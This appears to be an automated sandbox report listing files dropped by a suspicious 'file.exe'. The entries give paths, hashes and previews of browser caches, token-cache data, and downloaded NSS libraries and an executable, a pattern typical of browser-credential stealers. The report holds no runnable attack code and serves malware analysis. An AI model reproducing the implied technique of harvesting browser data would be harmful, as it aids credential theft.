Preview:	...._+jE.`..}....S..1....G}s..E....y".Wh.^.W.H...-...#.A...KR...9b........>k......bU.IVo...D......Y..[l.yx.......'c=..I0.....E.d...-...1 ....m../C...OQ.........qW..<:N.....38.u..X-..s....<..U.,Mi..._.......`.Y/.........^..,.E..........j@..G8..N.... ..Ea...4.+.79k.!T.-5W..!..@+..!.P..LDG.....V."....L.... .(#..$..&......C.....%A.T}....K_.S..'Q.".d....s....(j.D!......Ov..)d0)."(..%..-..G..L.}....i.....m9;.....t.w..0....f?..-..M.c.3.....N7K.T..D>.3.x...z..u$5!..4..T.....U.O^L{.5..=E..'..;.}(\|.6.:..f!.>...?M.8......P.D.J.I4.<....y.E....>....i%.6..Y.@..n.....M..r..C.f.;..<..0.H...F....h.......HB1]1....u..:...H..k....B.Q..J...@}j~.#...'Y.J~....I...ub.&..L[z..1.W/.Ck....M.......[.......N.F..z.{nZ~d.V.4.u.K.V.......X.<p..cz..>....X...W..da3(..g..Z$.L4.j=~.p.l.\.[e.&&.Y ...U)..._.^r0.,.{_......`S..[....(.\..p.bt.g..%.$+....f.....d....Im..f...W ......G..i_8a..ae..7....pS.....z-H..A.s.4.3..O.r.....u.S......a.}..v.-/..... ...a.x#./:...sS&U.().xL...pg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\RemoteData\topTraffic_638004170464094982

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	raw G3 (Group 3) FAX, byte-padded
Category:	dropped
Size (bytes):	460992
Entropy (8bit):	7.999625908035124
Encrypted:	true
SSDEEP:	12288:KaRwcD8XXTZGZJHXBjOVX3xFttENr4+3eGPnKvJWXrydqb:KaR5oZ2MBFt8r4+3eG/URdqb
MD5:	E9C502DB957CDB977E7F5745B34C32E6
SHA1:	DBD72B0D3F46FA35A9FE2527C25271AEC08E3933
SHA-256:	5A6B49358772DB0B5C682575F02E8630083568542B984D6D00727740506569D4
SHA-512:	B846E682427CF144A440619258F5AA5C94CAEE7612127A60E4BD3C712F8FF614DA232D9A488E27FC2B0D53FD6ACF05409958AEA3B21EA2C1127821BD8E87A5CA
Malicious:	false
Preview:	...2lI.5.<C.;.{....._+jE.`..}....-...#.A...KR...l.M0,s...).9..........x.......F.b......jU....y.h'....L<.....Z..%...._...g.4yu...........'c=..I0..........qW..<:N....<..U.,Mi..._......'(..U.9.!........u....7...4. ..Ea...4.+.79k.!T.-5W..!..@+..$..t\|1.E..7F...+..xf....z&_Q...-.B...)8R.c....0.......B.M.Z...0....&v..<..H...3.....N7K.T..D>.8......P.D.J.I4.B.H.VHy...@.Wc.Cl..6aD..j.....E..4..mI..X]2.GH.G.L...E.F.=.J...@}j~.#...'Y.L[z..1.W/.Ck....L..X........J.NYd........>...N.F..z.{nZ~d.N..../..6.\L...Q...+.w..p...>.S.iG...0]..8....S..)`B#.v..^..T.?...Z.rz.D'.!.T.w....S..8....V.4.u.K.V.......W.6s...Y.).[.c.X.S..........5.X7F...tQ....z.L.X..(3#j...8...i.[..j$.Q....0...]"W.c.H..n..2Te.ak...c..-F(..W2.b....3.]......c.d\|.../....._...f.....d....Im..g.b..R.q.<xx...i2..r.I()Iat..b.j.r@K.+5..C.....nJ.>P,.V@.....s.4.3..O.r.....smd7...L.....].u&1../t.*.......uXb...=@.....wv......]....#.{$.w......i.....\|.....?....E7...}$+..t).E.U..Q..~.`.)..Y@.6.h.......%(

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	ASCII text, with no line terminators
Category:	dropped
Size (bytes):	9
Entropy (8bit):	3.169925001442312
Encrypted:	false
SSDEEP:	3:CMzOn:CM6
MD5:	B6F7A6B03164D4BF8E3531A5CF721D30
SHA1:	A2134120D4712C7C629CDCEEF9DE6D6E48CA13FA
SHA-256:	3D6F3F8F1456D7CE78DD9DFA8187318B38E731A658E513F561EE178766E74D39
SHA-512:	4B473F45A5D45D420483EA1D9E93047794884F26781BBFE5370A554D260E80AD462E7EEB74D16025774935C3A80CBB2FD1293941EE3D7B64045B791B365F2B63
Malicious:	false
Preview:	uriCache_

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\SmartScreen\local\uriCache_

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	179
Entropy (8bit):	5.020523446526973
Encrypted:	false
SSDEEP:	3:YTyLSmafBoTfIeRDHtDozRLuLgfGBkGAeekVy8HfzXNPIAclUUQ3Yn:YWLSGTt1o9LuLgfGBPAzkVj/T8lUUiY
MD5:	27AA5C59B230EE5711DD9EE1ACE2D627
SHA1:	C06A678A7E8EBD1CC4C399FAC658AB83DAF3E541
SHA-256:	3C2F78BDB9A1E74AE42AED4F4FE74161E57079A779F2B5E381141DBD3D681EDF
SHA-512:	8D7DD7B681AB1DB9FD2721D3A2C8D59743EFE3295623CBA276C0B37236C1908B2EF4A20026AC8499C2B13F28E869B5079E148421CFDEAC6DC565B58CB171DD77
Malicious:	false
Preview:	{"version":1,"cache_data":[{"file_hash":"da2d278eafa98c1f","server_context":"1;f94c025f-7523-6972-b613-ce2c246c55ce;unkn:100;0.01","result":1,"expiration_time":1731459556781646}]}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\Variations

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	86
Entropy (8bit):	4.3751917412896075
Encrypted:	false
SSDEEP:	3:YQ3JYq9xSs0dMEJAELJ2rjozQw:YQ3Kq9X0dMgAEwj2
MD5:	16B7586B9EBA5296EA04B791FC3D675E
SHA1:	8890767DD7EB4D1BEAB829324BA8B9599051F0B0
SHA-256:	474D668707F1CB929FEF1E3798B71B632E50675BD1A9DCEAAB90C9587F72F680
SHA-512:	58668D0C28B63548A1F13D2C2DFA19BCC14C0B7406833AD8E72DFC07F46D8DF6DED46265D74A042D07FBC88F78A59CB32389EF384EC78A55976DFC2737868771
Malicious:	false
Preview:	{"user_experience_metrics.stability.exited_cleanly":false,"variations_crash_streak":2}

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\cfd2beb1-6e37-47d2-93da-98f5b8437714.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	45740
Entropy (8bit):	6.087819192190959
Encrypted:	false
SSDEEP:	768:mMkbJrT8IeQcrQgx9bnruHhDO6vP6OSfNu4OptlfAE4IsImE0hKqX7KCAooGoup4:mMk1rT8HR9bV6yVdwsIahfX7KRoohu3q
MD5:	42698D956DF5134679F24808D78F31E1
SHA1:	6A379FBBDA8F4BC069D35F24F8DD70F93BF2652C
SHA-256:	9CFC6DF746EAF431004F94B2BE037CCC65147EFC04742EF61B9F831818B7CAB4
SHA-512:	3A915731DF8340AFCDF9443B245116258C1B373EFBE97A384C2525E3C1E0D83625DFB4F36B5719202895BB1AE41552F0FDA09E9B334B9CF3C755C9BA813B1B3B
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"5E25271B8190D943537AD3FDB50874FC133E8B4A00380E2A6A888D63386F728B\"","browser":{"browser_build_version":"117.0.2045.47","browser_version_of_last_seen_whats_new":"117.0.2045.47","last_seen_whats_new_page_version":"117.0.2045.47"},"desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL1dWZPktpH+KxP9ZDtU6GMujfykHY9txVpHyHIoYh2ODhBEkWiCAAdHVbEc/u+bCVb1dE8RqEqOdh806mbzw8VEXshM/PuKb27vha2luF9LHqKT96KVoru3G+mcquXVN/++4sOgleBBWeOvvvnn4YGs7wcLz8erb65+HMKPMVx9dVXbnisDT4wMa612TNj+6j9fUSA+xFpZPyH/9dVVQig59Wx4L5+Cwzjg799ubt/jJP48zeE9TuHwDjYBc/Ew+Ktvbv/z1ZWoe+rsjB4/7Abr5U+ajz9LXo9Px+21Mk1hoo/oX6HHjTLyKTjYyMJmCbLnO/hZMpjFAjSvxOIhbxgi5FK85m+ZCkuQu7UyKoxLO97yIFoYvbAluiw2oRoYgIQ2nG2AqJY2U+koRXQbbMm3fMsEX9JMK3GLbeAvNjhrlo5GOJiTA/oXLTdG6qXtmMBDiyS59PvY7eCklyb4QcfFi7tpdwu3VBt1XNorvM4+RiU6+CjD0kb+pHz7rRm3rXSyzABnWdKBG+Ijlx7hEE4QTzo+AB6fnDLLJBpo7PKv8Ob367/KjUg

C:\Users\user\AppData\Local\Microsoft\Edge\User Data\ee5a4d79-c851-4118-8527-6439a1a2a636.tmp

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	JSON data
Category:	modified
Size (bytes):	44616
Entropy (8bit):	6.096667255801046
Encrypted:	false
SSDEEP:	768:zDXzgWPsj/qlGJqIY8GB4kkBBwu+hDO6vP6OSfNu4m17AWEAcj1VLcGoup1Xl3j0:z/Ps+wsI7ynEp6yVdpLchu3VlXr4CRo1
MD5:	D1EA74B4A7BB2174933109F387A4B669
SHA1:	7421FF9755C954D999D3743278333FF557B468AF
SHA-256:	86AA87F42EB8394CCB536431B9D36B7972A6F13EE36FEE8058AB5EACEEADCC9F
SHA-512:	2961088065BE0FCFDFFC8F966199E6D0022EFF8246659DB6D4009ACD2963AF39F9741976FB39B62FD0EB7D58D734C3D985F91CE99F85E260A5A49069C25E3C5F
Malicious:	false
Preview:	{"abusive_adblocker_etag":"\"229EC35087C81534A88F41A12F3A505F330A0BE57C43F6CEB29F4718042EFC4F\"","desktop_mode":{"clear_prefs_once_applied":true,"is_on":false,"is_on_by_default_applied":true,"is_search_only_on_by_default_applied":true},"domain_actions_config":"H4sIAAAAAAAAAL19a4/cNpboXzH60+4gRbvbrzj7aTbj2Ql2MhlkswhwF4MGRVISWxQp81FVqkH++z2HUrXbLkndh51dBHba1XX4PDzvxz+v+P76VjipxG2teExe3YpWie7W7ZX3Wqqr7/55xYfBaMGjdjZcffc/8wdK3g4OPh+vvrv6aYg/pXj1zZV0PdcWPrEq1kYfmXD91W/fUEBCTFK7MEH+45urDKHVNLPlvXoIHMcB//3H/fX3uIk/T3v4HrcwfweHgL0EWPzVd9e/fXMlZE/dnTXjx+Pggvq74ePPisvx4bqD0bbZ2Og99K8w415b9RA4usTivgSy50f4WTHYRQE0r0TxkvcMIVQpvOHvmY4lkMdaWx3H0okPPIoWVi/cFl5uDqEbWICCMbxrAKlKh6lMUiL5PY4UWn5ggpcM0yp8Ynv4jYve2dLVCA978oD/ouXWKlM6jo08toiSpffjDoNXQdkYBpOKD3ffHgufVJtMKp0Vvs4+JS06uJShdJA/6dD+0Y6HVnm1TQAXSdJMDfEjnz/CJVxAPJh4Brj/5JJYZtZAI5d/gW/+WP9F7UWmyTTSsQFstY3KSrd5MJfw8x4ffriwzR5P5lZboOXq2cwPcaHxvO+5N1vU6gKw18K74OqIVMGrwcGWi+B3/fhgiJ2sSYzY4W5ZcE8FcFZJr/eKGfyLMJOray0KIOCL4cFk21LCwm0jIsXbWhuge7fO3sKot+GggT0

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\5a2a7058cf8d1e56c20e6b19a7c48eb2386d141b.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2278
Entropy (8bit):	3.843053873517306
Encrypted:	false
SSDEEP:	48:uiTrlKxrgxLqxl9Il8uyQyAN3HN5A9fGtU5A0a+iGG/qh2d1rc:mXYELAdHN5A1iNm8W
MD5:	5A330ED3C571979723E2B27B0ADFA622
SHA1:	63645166C38FC75A8E58D84662DB6D5A2666E238
SHA-256:	CAF99FE7DFBAC7B3CA7FBFC5AFF7E1E53997BD71B8C5CC48C90044C2F428E27A
SHA-512:	008957F316BE07C768A2C16E99F165ABE75BBE66FE01C879362CE66667AE50AEE2906C4C8DFFEE192D9DAB15F56A33C6B8171658DB489A9315D217F728FB6461
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".W.i.p.w.W.M.+.N.H.l.b.C.D.m.s.Z.p.8.S.O.s.j.h.t.F.B.s.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".g.K.j.o.8.4.Q.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Q.W.7.o.W./.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\cf7513a936f7effbb38627e56f8d1fce10eb12cc.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	4622
Entropy (8bit):	3.9999211619741297
Encrypted:	false
SSDEEP:	96:bYELAte0FIOaRZ8nQykYrE1wYB5oaqt1lhPVUR0s:b5LUOOSZ8QYrE1wwoxt1zVURV
MD5:	6BCB905F2BE44D34024A55CC365093CE
SHA1:	2C0D5A3E5E9B089EFDF7D89861FA005A50E4B343
SHA-256:	F72AA0F3EF253F467B304D54CF46DF73A364CA6F0574ED8B893149F21CFAFADD
SHA-512:	E4B884548279B731975ECD58D999E6EF34F25DE282417A3ACC3DFE91C894FC0DA6ED1F9B6E7EA2C300D7762C46858A0EFFA1ED93C3259F1CF0C29B1A5DC4323E
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".z.3.U.T.q.T.b.3.7./.u.z.h.i.f.l.b.4.0.f.z.h.D.r.E.s.w.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.U.S.L.2.X.w.0.2.w.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.w.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Q.W.7.o.W./.

C:\Users\user\AppData\Local\Microsoft\TokenBroker\Cache\e8ddd4cbd9c0504aace6ef7a13fa20d04fd52408.tbres

Download File

Process:	C:\Program Files (x86)\Microsoft\Edge\Application\msedge.exe
File Type:	data
Category:	dropped
Size (bytes):	2684
Entropy (8bit):	3.9002523586645377
Encrypted:	false
SSDEEP:	48:uiTrlKx68Wa7xTxl9Il8uyQyAgdF0l4Fr/Gnx0LbilHzYv0WVQXqXd/vc:aNYELAgH0+Fr+0bG0vpVQXqi
MD5:	5EF95B87A3F9FB676AF4D468CCE68F5E
SHA1:	11D8D8328E914476369CD690D4837378729E24AB
SHA-256:	52F1AB2B3B35B7C94E54A4A2A3342651F132208162B7EAC38E07A69917560682
SHA-512:	4857A0DBF7B48C31F35F2E008BC6CB4641523EE23F27DF9A609EDC564691E9C584681C4E522B85CD94F9A1BDC904CEA2380BE4251FBEFAA68ADD8D1D044617A2
Malicious:	false
Preview:	{.".T.B.D.a.t.a.S.t.o.r.e.O.b.j.e.c.t.".:.{.".H.e.a.d.e.r.".:.{.".O.b.j.e.c.t.T.y.p.e.".:.".T.o.k.e.n.R.e.s.p.o.n.s.e.".,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.a.j.o.r.".:.2.,.".S.c.h.e.m.a.V.e.r.s.i.o.n.M.i.n.o.r.".:.1.}.,.".O.b.j.e.c.t.D.a.t.a.".:.{.".S.y.s.t.e.m.D.e.f.i.n.e.d.P.r.o.p.e.r.t.i.e.s.".:.{.".R.e.q.u.e.s.t.I.n.d.e.x.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".6.N.3.U.y.9.n.A.U.E.q.s.5.u.9.6.E./.o.g.0.E./.V.J.A.g.=.".}.,.".E.x.p.i.r.a.t.i.o.n.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".F.d.4.y.C.U.5.T.3.A.E.=.".}.,.".S.t.a.t.u.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.f.a.l.s.e.,.".V.a.l.u.e.".:.".A.A.A.A.A.A.=.=.".}.,.".R.e.s.p.o.n.s.e.B.y.t.e.s.".:.{.".T.y.p.e.".:.".I.n.l.i.n.e.B.y.t.e.s.".,.".I.s.P.r.o.t.e.c.t.e.d.".:.t.r.u.e.,.".V.a.l.u.e.".:.".A.Q.A.A.A.N.C.M.n.d.8.B.F.d.E.R.j.H.o.A.w.E./.C.l.+.s.B.A.A.A.A.Q.W.7.o.W./.

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\53IVYM2Y\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	3500
Entropy (8bit):	5.398905447975891
Encrypted:	false
SSDEEP:	96:6NnQGHQUNnQcbQQNnQY9Q8NnQJdgEQMNnQwQ0NnQsDQANnQAGqwQAxNnQQB3Qc:6NDNBNtNgxNfNhvN1GqExNtt
MD5:	DC545B309616E229C594AB128080DCE9
SHA1:	7D821A73E29FC6581EAAC93069E8FAAA00DF53BD
SHA-256:	525EC4F9D475E701FC98811449BC69DA6428BCB6631E1016625B0937E48AD9EE
SHA-512:	B594B43E79E56C8442BB58A8722FB628B5A942CF46FF4FBEDBCD7C02C7DCA1B490045A13378E64173C2A7616312D8E7A0AE1A47550E312A68228F2F359836B3C
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/520EB6FEFA529E199F04CC8CDBEA3C53",.. "id": "520EB6FEFA529E199F04CC8CDBEA3C53",.. "title": "Microsoft Voices",.. "type": "background_page",.. "url": "chrome-extension://jdiccldimpdaibmpdkjnbmckianbfold/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/520EB6FEFA529E199F04CC8CDBEA3C53"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/EBDCE378C12F9685E648DF74FDC963F3",.. "id": "EBDCE378C12F9685E648DF74FDC963F3",.. "title": "WebRTC Internals Extension",.. "type": "background_page",.. "url": "chrome-extension://ncbjelpjchkpbikbpkcchkhkblodoama/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/EBDCE378C12F9685E648DF74FDC963F3"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\freebl3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	685392
Entropy (8bit):	6.872871740790978
Encrypted:	false
SSDEEP:	12288:4gPbPpxMofhPNN0+RXBrp3M5pzRN4l2SQ+PEu9tUs/abAQb51FW/IzkOfWPO9UN7:4gPbPp9NNP0BgInfW2WMC4M+hW
MD5:	550686C0EE48C386DFCB40199BD076AC
SHA1:	EE5134DA4D3EFCB466081FB6197BE5E12A5B22AB
SHA-256:	EDD043F2005DBD5902FC421EABB9472A7266950C5CBACA34E2D590B17D12F5FA
SHA-512:	0B7F47AF883B99F9FBDC08020446B58F2F3FA55292FD9BC78FC967DD35BDD8BD549802722DE37668CC89EDE61B20359190EFBFDF026AE2BDC854F4740A54649E
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........4......p.....................................................@A........................H...S...............x............F..P/.......#................................... ..................@............................text............................... ..`.rdata....... ......................@..@.data...<F...0......................@....00cfg..............................@..@.rsrc...x...........................@..@.reloc...#.......$..."..............@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\json[1].json

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	JSON data
Category:	dropped
Size (bytes):	1787
Entropy (8bit):	5.388949801607734
Encrypted:	false
SSDEEP:	48:SfNaoQdTEQRfNaoQDLzLkQDL3fNaoQ1+MQ10fNaoQbuMO0UrU0U8Qbm:6NnQdTEQtNnQUQ3NnQ1+MQ1gNnQbuMOp
MD5:	7A617B6D6F0875134C2DF6D209751FBA
SHA1:	BE14E53305217E443652299CE17E61CFCA6CB1D7
SHA-256:	CCC025968418CEFC0076AE881632A193DE53F74FE555DF274717D85960B247D5
SHA-512:	703375D73621DDAAC5A5A438B36841DEA6B093890903967F04AD513399CCDE8BA7EB226C3031C6BF2514A94F203E6738D49543495361693E5AE683FB5CA659ED
Malicious:	false
Preview:	[ {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/AC04CBC93550583680F83D096303471B",.. "id": "AC04CBC93550583680F83D096303471B",.. "title": "Google Network Speech",.. "type": "background_page",.. "url": "chrome-extension://neajdppkdcdipfabeoofebfddakdcjhd/_generated_background_page.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/AC04CBC93550583680F83D096303471B"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtools/page/919A6717FF19B42FA2A6B10740D54758",.. "id": "919A6717FF19B42FA2A6B10740D54758",.. "title": "Google Hangouts",.. "type": "background_page",.. "url": "chrome-extension://nkeimhogjdpnpccoofpliimaahmaaome/background.html",.. "webSocketDebuggerUrl": "ws://localhost:9229/devtools/page/919A6717FF19B42FA2A6B10740D54758"..}, {.. "description": "",.. "devtoolsFrontendUrl": "/devtools/inspector.html?ws=localhost:9229/devtoo

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\mozglue[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	608080
Entropy (8bit):	6.833616094889818
Encrypted:	false
SSDEEP:	12288:BlSyAom/gcRKMdRm4wFkRHuyG4RRGJVDjMk/x21R8gY/r:BKgcRKMdRm4wFkVVDGJVv//x21R8br
MD5:	C8FD9BE83BC728CC04BEFFAFC2907FE9
SHA1:	95AB9F701E0024CEDFBD312BCFE4E726744C4F2E
SHA-256:	BA06A6EE0B15F5BE5C4E67782EEC8B521E36C107A329093EC400FE0404EB196A
SHA-512:	FBB446F4A27EF510E616CAAD52945D6C9CC1FD063812C41947E579EC2B54DF57C6DC46237DED80FCA5847F38CBE1747A6C66A13E2C8C19C664A72BE35EB8B040
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!.........^......................................................j.....@A.........................`...W.....,.... ..................P/...0...A...S..............................h.......................Z.......................text...a........................... ..`.rdata..............................@..@.data...D...........................@....00cfg..............................@..@.tls................................@....rsrc........ ......................@..@.reloc...A...0...B..................@..B................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\msvcp140[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (console) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	450024
Entropy (8bit):	6.673992339875127
Encrypted:	false
SSDEEP:	12288:McPa9C9VbL+3Omy5CvyOvzeOKdqhUgiW6QR7t5s03Ooc8dHkC2esGAWf:McPa90Vbky5CvyUeOKn03Ooc8dHkC2eN
MD5:	5FF1FCA37C466D6723EC67BE93B51442
SHA1:	34CC4E158092083B13D67D6D2BC9E57B798A303B
SHA-256:	5136A49A682AC8D7F1CE71B211DE8688FCE42ED57210AF087A8E2DBC8A934062
SHA-512:	4802EF62630C521D83A1D333969593FB00C9B38F82B4D07F70FBD21F495FEA9B3F67676064573D2C71C42BC6F701992989742213501B16087BB6110E337C7546
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........1C.._..._..._.)n...._......._...^."._..^..._..\..._..[..._..Z..._.._..._......_..]..._.Rich.._.........................PE..L.....0].........."!.....(..........`........@......................................,.....@A.........................g.......r...........................A.......=..`x..8............................w..@............p.......c..@....................text....&.......(.................. ..`.data...H)...@.......,..............@....idata.......p.......D..............@..@.didat..4............X..............@....rsrc................Z..............@..@.reloc...=.......>...^..............@..B................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\nss3[1].dll

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (DLL) (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	2046288
Entropy (8bit):	6.787733948558952
Encrypted:	false
SSDEEP:	49152:fECf12gikHlnKGxJRIB+y5nvxnaOSJ3HFNWYrVvE4CQsgzMmQfTU1NrWmy4KoAzh:J7Tf8J1Q+SS5/nr
MD5:	1CC453CDF74F31E4D913FF9C10ACDDE2
SHA1:	6E85EAE544D6E965F15FA5C39700FA7202F3AAFE
SHA-256:	AC5C92FE6C51CFA742E475215B83B3E11A4379820043263BF50D4068686C6FA5
SHA-512:	DD9FF4E06B00DC831439BAB11C10E9B2AE864EA6E780D3835EA7468818F35439F352EF137DA111EFCDF2BB6465F6CA486719451BF6CF32C6A4420A56B1D64571
Malicious:	false
Antivirus:	Antivirus: ReversingLabs, Detection: 0%
Preview:	MZx.....................@...................................x...........!..L.!This program cannot be run in DOS mode.$..PE..L....4.c.........."!................`........................................p......l- ...@A.........................&..........@....P..x...............P/...`..\...................................................\|...\....&..@....................text............................... ..`.rdata..l...........................@..@.data...DR..........................@....00cfg.......@......................@..@.rsrc...x....P......................@..@.reloc..\....`......................@..B........................................................................................................................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\9C680Q69\random[1].exe

Download File

Process:	C:\Users\user\Desktop\file.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	3330048
Entropy (8bit):	6.642359553452517
Encrypted:	false
SSDEEP:	98304:5whLro2pYqTUDsHK6eR+7GjHIyHIcXKL4p:6hLro2pYqTUDaYItHLg
MD5:	8DB5B5875102EBB49A41696B0EF8F4FF
SHA1:	1E2D72813BABF474ACA4EE06C10CBD3ADAA3C6BA
SHA-256:	06058C50E21FC01792A691A64F0C4C40F66468260AC4CAB71288193A58C62C14
SHA-512:	834BEB092015E6BBDE5180A99BEAE51620397F0DFBCECD99A002C5A39DB64CC8DC0F95B14933A1F6CBFC6C389B1C815549D7068799A4387A0D42529049119751
Malicious:	false
